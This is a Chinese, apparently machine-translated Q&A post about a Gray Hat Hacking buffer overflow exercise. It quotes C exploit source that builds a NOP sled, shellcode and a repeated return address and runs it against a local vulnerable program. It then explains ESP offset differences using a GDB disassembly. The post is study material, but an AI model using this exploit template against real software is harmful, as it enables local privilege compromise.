我正在关注Gray Hat Hacking中的缓冲区溢出示例并成功执行了shellcode并使用下面的漏洞利用程序打开了一个shell,但是如果没有先猜测到缓冲区的偏移量,我就无法运行它,因为区别在最初的ESP值中。
这是针对任何本地易受攻击的缓冲区的漏洞利用程序(删除了一些行):
unsigned long get_sp(void){
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[1]) {
int i, offset = 0;
unsigned int esp, ret, *addr_ptr;
char *buffer, *ptr;
int size = 500;
esp = get_sp();
if(argc > 1) size = atoi(argv[1]);
if(argc > 2) offset = atoi(argv[2]);
if(argc > 3) esp = strtoul(argv[3],NULL,0);
ret = esp - offset;
buffer = (char *)malloc(size);
ptr = buffer;
addr_ptr = (unsigned int *) ptr;
for(i=0; i < size; i+=4){
*(addr_ptr++) = ret;
}
for(i=0; i < size/2; i++){
buffer[i] = '\x90';
}
ptr = buffer + size/2;
for(i=0; i < strlen(shellcode); i++){
*(ptr++) = shellcode[i];
}
buffer[size-1]=0;
execl("./meet", "meet", "Mr.",buffer,0);
free(buffer);
return 0;
}
此漏洞依赖于漏洞利用程序的初始ESP与易受攻击的应用程序的ESP相同(或不远)。但是,在我的测试中,我无法复制这个,并且我的漏洞利用的ESP总是离易受攻击的应用程序ESP太远,以允许可靠的返回地址计算,即使使用NOP底座也是如此。我想这样做的解决方法是不仅要计算缓冲区大小和从易受攻击的应用程序ESP到缓冲区的偏移量,还要计算漏洞初始ESP和易受攻击的程序初始ESP之间的偏差,但我希望我'我只是犯了一个错误。
在main()的开头,我的漏洞利用中ESP的初始值是 0xffffdbc0 。 但是,在我的缓冲区程序中main()开头的ESP是 0xffffdba8 。 我在两个程序的main()的第一行使用GDB中的断点来查找ESP而不是内联汇编函数,以避免在堆栈上推送任何额外的东西。
我还提供了相同的命令行参数(0,0)来缩小可能的原因。一切都在x64 Linux上被编译,ASLR被禁用,没有堆栈保护器和execstack被禁用32位。
还有什么可能影响最初的ESP值?
(This question可能是相关的,除了我似乎遇到了相反的问题。)
编辑:我发现这些程序的名称长度不同,我想这会影响ESP的值,因为程序名称传递给main()函数通过argv []。是时候在GDB中检查一下......
答案 0 :(得分:0)
我找到了答案!
我的断点放在第1行:
1 int main(int argc,char *argv[]) {
2 unsigned int sp = get_sp();
3 int size = atoi(argv[1]);
我的理由是,如果我在我的漏洞利用程序和缓冲区程序中都放置了断点,那么在将任何内容放入堆栈之前我将能够获得ESP并找出它们之间的差异。但我没想到GDB会为函数调用分配内存。
让我们来看看大会:
(gdb) disas main
Dump of assembler code for function main:
0x08048582 <+0>: push %ebp
0x08048583 <+1>: mov %esp,%ebp
0x08048585 <+3>: push %ebx
0x08048586 <+4>: sub $0x1c,%esp
=> 0x08048589 <+7>: call 0x804857b <get_sp>
与我的缓冲程序不同,main()在这里以函数调用开始。断点在此之前,并且函数没有被调用,但是空间被分配在堆栈上,在我的情况下,一旦我消除了所有其他因素,我的ESP之间就会产生32位差异。
因此,如果已知局部变量和命令行参数,ESP似乎可以实际可靠地计算。